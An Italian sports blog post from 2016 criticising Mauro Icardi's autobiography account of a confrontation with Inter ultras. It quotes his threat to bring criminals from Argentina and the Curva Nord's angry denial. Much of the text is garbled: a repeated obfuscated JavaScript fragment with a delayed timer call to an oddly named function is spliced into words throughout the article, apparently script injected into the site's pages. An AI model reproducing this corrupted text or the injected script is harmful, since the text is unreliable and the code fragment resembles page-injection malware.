The Locker Room

UN PASSO INDIETRO

17 ottobre 2016 Italia, Seria A, Speak About
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“Sempre Avanti: la mia storia segreta”, questo il titolo dell’ultima fatica, questa volta editoriale, di Mauro Icardi il quale ha deciso di raccontarsi in un’autobiografia che data la giovanissima età del calciatore, pensavamo non fosse destinata a scatenare alcun putiferio, finendo con l’interessare soltanto gli appassionati di gossip.
Gli ultimi turbamenti però non c’entrano niente con l’ossigenatissimo Maxi Lopez ma riguardano il cuore del tifo nerazzurro, rimasto esterrefatto da alcuni passaggi del libro riguardanti un particolare episodio avvenuto quasi due anni or sono, durante il post partita di Sassuolo – Inter: succede infatti che i tifosi accorsi in trasferta per sostenere la squadra non prendano bene l’ennesimo passo falso e indignati chiedono il confronto con i giocatori. Icardi e Guarin si avvicinano al settore occupato dai propri supporter e nonostante la concitazione del momento, sembrano provar a spiegare le proprie ragioni. Il fatto si chiude praticamente lì e qualsiasi cosa Icardi e i tifosi possano aver detto o fatto in quella situazione, passato nel dimenticatoio. Manco per idea: Maurito ci riflette ben bene e a distanza di mesi decide di riportare il fatto nel proprio memoriale, dedicandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando anche grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ande enfasi a quell’avvenimento.
«A fine partita ho trovato il coraggio di affrontare la Curva a fine gara, insieme a Guarin. Mi tolgo maglia e pantaloncini e li regalo a un bimbo. Peccato che un capo ultrà gli vola addosso, gli strappa la maglia dalle mani e me la rilancia indietro con disprezzo. In quell’istante non ci ho più visto, lo avrei picchiato per il gesto da bastardo appena compiuto. E allora inizio a insultarlo pesantemente: “Pezzo di merda, fai il gradasso e il prepotente con un bambino per farti vedere da tutta la curva? Devi solo vergognarti, vergognatevi tutti”. Detto questo gli ho tirato la maglia in faccia. In quel momento è scoppiato il finimondo. Nello spogliatoio vengo acclamato come un idolo… I dirigenti temevano che i tifosi potessero aspettarmi sotto casa per farmela pagare. Ma io ero stato chiaro: “Sono pronto ad affrontarli uno a uno. Forse non sanno che sono cresciuto in uno dei quartieri sudamericani con il più alto tasso di criminalità e di morti ammazzati per strada. Quanti sono? Cinquanta, cento, duecento? Va bene, registra il mio messaggio, e faglielo sentire: porto cento criminali dall’Argentina che li ammazzano lì sul posto, poi vediamo”. Avevo sputato fuori queste frasi esagerate per far capire loro che non ero disposto a farmi piegare dalle minacce. Una settimana dopo un capo storico viene da me: pretende ancora le mie scuse. “Non devo chiedere scusa a nessuno di voi, se vi va bene perfetto, altrimenti ciao… Oggi fra me e i tifosi della Nord c’è rispetto reciproco, come è giusto che sia. Anche loro hanno un ruolo importante per il successo della squadra…».

Ora, credo che un paio di riflessioni sia giusto farle… La prima è sul tempismo. Pessimo, pericoloso e autolesionista. Poi sui contenuti: inquietanti. Proviamo a dare per buono il racconto di Icardi e fare un breve riassunto di come è presentata la vicenda. Dunque, praticamente due anni fa mentre i tifosi vogliono linciarvi tutti e uno è addirittura così zelante da rapinare un bambino a cui tu avevi dato la maglia, ti lasci andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andare ad esternazioni poco educate ma comprensibili visto la confusione del momento. Gli ultras non gradiscono e la società ha paura di ritorsioni non considerandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando che tu sei nato praticamente sul set di Narcos e puoi risolvere tutto come l’ultimo dei gangster facendo arrivare dall’Argentina un container di pirati pronti a disintegrare il cranio a chiunque voglia farti del male. Esaltato e benedetto dai compagni i quali erano terrorizzati dai tifosi, adesso che finalmente la pace è ristabilita puoi essere nominato a furor di popolo Capitano e riportare la pace anche con la curva Nord che al primo fischio sa bene di cosa sono capaci i tuoi amici dei peggiori quartieri di Rosario.
Ma te sei scemo?
Mauro Icardi è un grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ande giocatore capace fin da giovanissimo in quella che è la vera impresa per un calciatore nel suo ruolo ossia risultare determinante. Non credo sia giusto giudicarlo per la sua vita privata come invece accade in Argentina dove è chiaramente boicottato e dove la sua vita sentimentale pare avere un gran peso per i “senatori” dello spogliatoio della Nazionale. Credo sia anche un professionista esemplare sotto molti aspetti, capace di mettersi completamente a disposizione degli allenatori che in questi anni si sono succeduti sulla panchina dell’Inter, mantenendo sempre un ottimo rendimento.
Ma certe dichiarazioni sono gravissime anche se, come ho provato ad ipotizzare, i fatti narrati dal calciatore fossero realmente fedeli alla verità. La Curva Nord che ha smentito con forza quanto riportato ha richiesto al Club nerazzurro di togliere la fascia di Capitano all’argentino che contro il Cagliari è stato duramente contestato e ha sbagliato anche un rigore.
“Per noi ha finito di essere il capitano dell’Inter. Ha detto una serie di bugie, come ad esempio la storia del bambino. Un individuo del genere non può indossare la fascia. Perché tutte le falsità concentrate in quelle tre pagine di libro sono inaccettabili. Alziamo le mani in segno di resa. Allucinante. La prima domandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anda che viene da farsi è: ma perché? Perché tante fantasie, inesattezze, squallide finzioni. Perché? Siamo sbigottiti, amareggiati, allibiti. Capita sotto mano il libro di Icardi… Follia pura. Mitomania. È una situazione strana, grottesca, ridicola. Autobiografia di un ragazzo di 23 anni. Già questo dà da pensare.. Bugie. Bugie. Bugie. Fango per farsi ‘bello’, contro di Noi. Icardi è bugiardo quandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando racconta dell’episodio di Sassuolo.”

L’unica verità è che l’Inter questa stagione, in questo periodo ancor di più, non può prescindere dal talento di Mauro Icardi come lo stesso giocatore che ha più volte dichiarato di voler diventare una bandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andiera dell’Inter, non può pensare di essere un super uomo al di sopra di ogni contatto con il Mondo reale. Urge disinnescare. Se non si vuole arrivare ad una dolorosa rottura, poco conveniente per entrambe le parti, una qualche forma di rispetto va davvero ricostruita anche a costo di essere forzata.